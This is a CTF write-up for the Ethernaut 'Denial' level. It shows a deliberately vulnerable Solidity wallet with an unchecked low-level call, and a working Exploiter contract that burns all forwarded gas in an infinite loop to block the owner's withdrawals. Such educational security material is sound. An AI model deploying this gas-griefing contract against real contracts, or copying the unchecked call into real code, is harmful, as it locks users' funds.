Emanuele Ricci
Ethernaut Challenge #19 Solution — Denial
This is Part 19 of the "Let’s play OpenZeppelin Ethernaut CTF" series, where I will explain how to solve each challenge.
The Ethernaut is a Web3/Solidity based wargame created by OpenZeppelin. Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.
Challenge #19: Denial
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call
withdraw()(whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.Level author(s): Adrian Manning
To solve the challenge, we need to DOS the withdrawal process. Let's go!
Study the contracts
Let's review the contract code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
The contract is pretty easy to understand. The idea behind it is that the partner is the person that will pay up for the gas fee to call withdraw and will be repaid with 1% of the balance of the contract for each withdrawal operation.
In a real-life scenario, you should calculate if the gas cost to perform the operation is worth that 1%, but this is not part of the scope of the challenge.
The only function interesting to us is the withdraw, let's see it
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance.div(100);
partner.call{value: amountToSend}("");
owner.transfer(amountToSend);
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
Let's see step by step what this function do:
- set the contract's balance in
amountToSend - transfer 1% of the balance to the
partnervia a low-levelcall - transfer 1% of the balance to the contract's
ownerviatransfer - update the last time the
withdrawfunction has been executed - update the amount that has been withdrawn by the partner
As we said, this challenge is all about the concept of Denial of Service (DOS) that is a general term to describe a situation where an external actor deny an aspect of a service. In this specific case, we want to deny the withdraw process of the contract.
How can we do that? The only options we have is to do something bad in the external call made to the partner address. Let's see how the low-level call works in Solidity.
(bool success, bytes memory data) = targetAddress.call{value: <weiSent>, gas: <gasForwarded>}(<calldata>);
As I mentioned, this is a low-level function that allow you to do many things. Usually, it's used to:
- send Ether to an EAO by specifying the amount of wei in the
valueoptions - send Ether to a contract that has implemented a
receiveorfallbackfunction by specifying the amount of wei in thevalueoptions - call a contract function by passing which function and which parameters pass to the target's function via the
<calldata>. For example,abi.encodeWithSignature("callMePlease()")
While both transfer and send high-level function (used to send ETH to a target address) use a hard-coded amount of 2300 gas to perform the operation, the call function has two options:
- by default if you don't specify anything it will forward all the remaining transaction gas
- otherwise, you can specify the amount of gas that the external contract can use with the
gasparameter
The call function will return two parameters:
bool successif the call has succeededbytes memory datathe returned value
Each time you perform a call you should ALWAYS check if it has succeeded and revert (or handle it however your scenario need) if the success value is false. See SWC-104: Unchecked Call Return Value for more information about this aspect.
Anyway, going back to our scenario. We need to find a way to DoS the Denial withdraw function when it will send to us (the partner) the funds.
Because the withdraw function is not checking the returned value (this is, in general, a huge bug, see the SWC-104 issue) the flow of the function would continue even if we reverted inside the call execution. How could we force the execution to halt?
The only option that we have is to drain all the forwarded gas and make the smart contract revert because of "Out of Gas" exception.
A simple way to do that is to have an infinite loop that perform a counter increase on a state variable. Easy right?
function exploit() public {
uint256 index;
for (index = 0; index < uint256(-1); index++) {
sum += 1;
}
}
Solution code
First, we need to deploy a contract that will be used as the partner
contract Exploiter {
uint256 private sum;
function withdraw(Denial victim) external {
// Call the victim `withdraw` function initializing the DoS process
victim.withdraw();
}
function exploit() public {
// An infinite loop that will drain all the transaction gas
uint256 index;
for (index = 0; index < uint256(-1); index++) {
sum += 1;
}
}
receive() external payable {
// This function is executed when someone will send ETH to the contract
exploit();
}
}
When the withdraw function in Denial contract will transfer amountToSend to the partner the Exploiter.receive function will be executed and as a consequence, the transaction will revert because of the infinite loop inside the exploit function.
Here's the code executed by the test
function exploitLevel() internal override {
vm.startPrank(player, player);
// deploy the exploiter contract
Exploiter exploiter = new Exploiter();
// set the exploiter as the partner
level.setWithdrawPartner(address(exploiter));
// The `withdraw` function will be called automatically by the `DenialFactory` contract
vm.stopPrank();
}
You can read the full solution of the challenge opening Denial.t.sol
Further reading
- Solidity Docs: Message Calls
- SWC-134: Message call with hard-coded gas amount
- SWC-113: DoS with Failed Call
- SWC-104: Unchecked Call Return Value
- SWC-126: Insufficient Gas Griefing
- Consensys Ethereum Smart Contract Best Practices: Denial of Service
Disclaimer
All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.
I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.
DO NOT USE IN PRODUCTION.